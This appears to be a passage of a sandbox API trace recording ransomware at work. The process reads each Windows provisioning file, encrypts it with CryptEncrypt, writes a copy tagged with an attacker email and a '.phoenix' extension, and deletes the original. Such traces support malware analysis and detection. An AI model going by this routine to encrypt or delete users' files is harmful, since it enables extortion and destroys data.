	[0257.845] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\677__connections_cellular_lenovo (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.846] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=730) returned 1
	[0257.846] CloseHandle (hObject=0x2f4) returned 1
	[0257.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\677__connections_cellular_lenovo (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\677__connections_cellular_lenovo (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.846] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\677__connections_cellular_lenovo (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.846] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.846] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.846] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\677__connections_cellular_lenovo (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.847] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0257.847] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.847] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2da, lpOverlapped=0x0) returned 1
	[0257.848] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0257.849] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0257.850] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0257.850] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.850] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0257.850] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0257.850] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0257.850] CryptDestroyKey (hKey=0x151180) returned 1
	[0257.850] CloseHandle (hObject=0x2f4) returned 1
	[0257.850] CloseHandle (hObject=0x2e0) returned 1
	[0257.850] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\677__connections_cellular_lenovo (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.851] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.851] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\678__connections_cellular_kt (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.852] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=703) returned 1
	[0257.852] CloseHandle (hObject=0x2e0) returned 1
	[0257.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\678__connections_cellular_kt (korea)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\678__connections_cellular_kt (korea)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.852] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\678__connections_cellular_kt (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.852] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.853] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.853] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\678__connections_cellular_kt (korea)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.853] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0257.853] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.853] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2bf, lpOverlapped=0x0) returned 1
	[0257.855] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0257.855] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0257.855] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151340) returned 1
	[0257.856] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.856] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0257.856] CryptDestroyKey (hKey=0x151340) returned 1
	[0257.856] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0257.856] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0257.856] CloseHandle (hObject=0x2e0) returned 1
	[0257.856] CloseHandle (hObject=0x2f4) returned 1
	[0257.856] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\678__connections_cellular_kt (korea)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.857] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.857] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\679__connections_cellular_y!mobile (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.857] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=897) returned 1
	[0257.857] CloseHandle (hObject=0x2f4) returned 1
	[0257.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\679__connections_cellular_y!mobile (japan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\679__connections_cellular_y!mobile (japan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.858] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\679__connections_cellular_y!mobile (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.858] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.858] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.858] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\679__connections_cellular_y!mobile (japan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.858] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0257.858] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.858] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x381, lpOverlapped=0x0) returned 1
	[0257.861] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x390, dwBufLen=0x390 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x390) returned 1
	[0257.861] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x390, lpOverlapped=0x0) returned 1
	[0257.861] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0257.861] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.862] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0257.862] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0257.862] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0257.862] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0257.862] CloseHandle (hObject=0x2f4) returned 1
	[0257.862] CloseHandle (hObject=0x2e0) returned 1
	[0257.862] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\679__connections_cellular_y!mobile (japan)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.863] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.863] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\67__connections_cellular_telefonica (chile)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.864] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=711) returned 1
	[0257.864] CloseHandle (hObject=0x2e0) returned 1
	[0257.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\67__connections_cellular_telefonica (chile)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\67__connections_cellular_telefonica (chile)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.864] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\67__connections_cellular_telefonica (chile)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.864] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.864] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.864] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\67__connections_cellular_telefonica (chile)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.865] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151340) returned 1
	[0257.865] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.865] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c7, lpOverlapped=0x0) returned 1
	[0257.867] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0257.867] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0257.868] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0257.868] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.868] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0257.868] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0257.868] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0257.868] CryptDestroyKey (hKey=0x151340) returned 1
	[0257.868] CloseHandle (hObject=0x2e0) returned 1
	[0257.868] CloseHandle (hObject=0x2f4) returned 1
	[0257.869] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\67__connections_cellular_telefonica (chile)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.869] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.869] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\680__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.870] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=451) returned 1
	[0257.870] CloseHandle (hObject=0x2f4) returned 1
	[0257.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\680__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0257.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\680__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.870] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\680__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
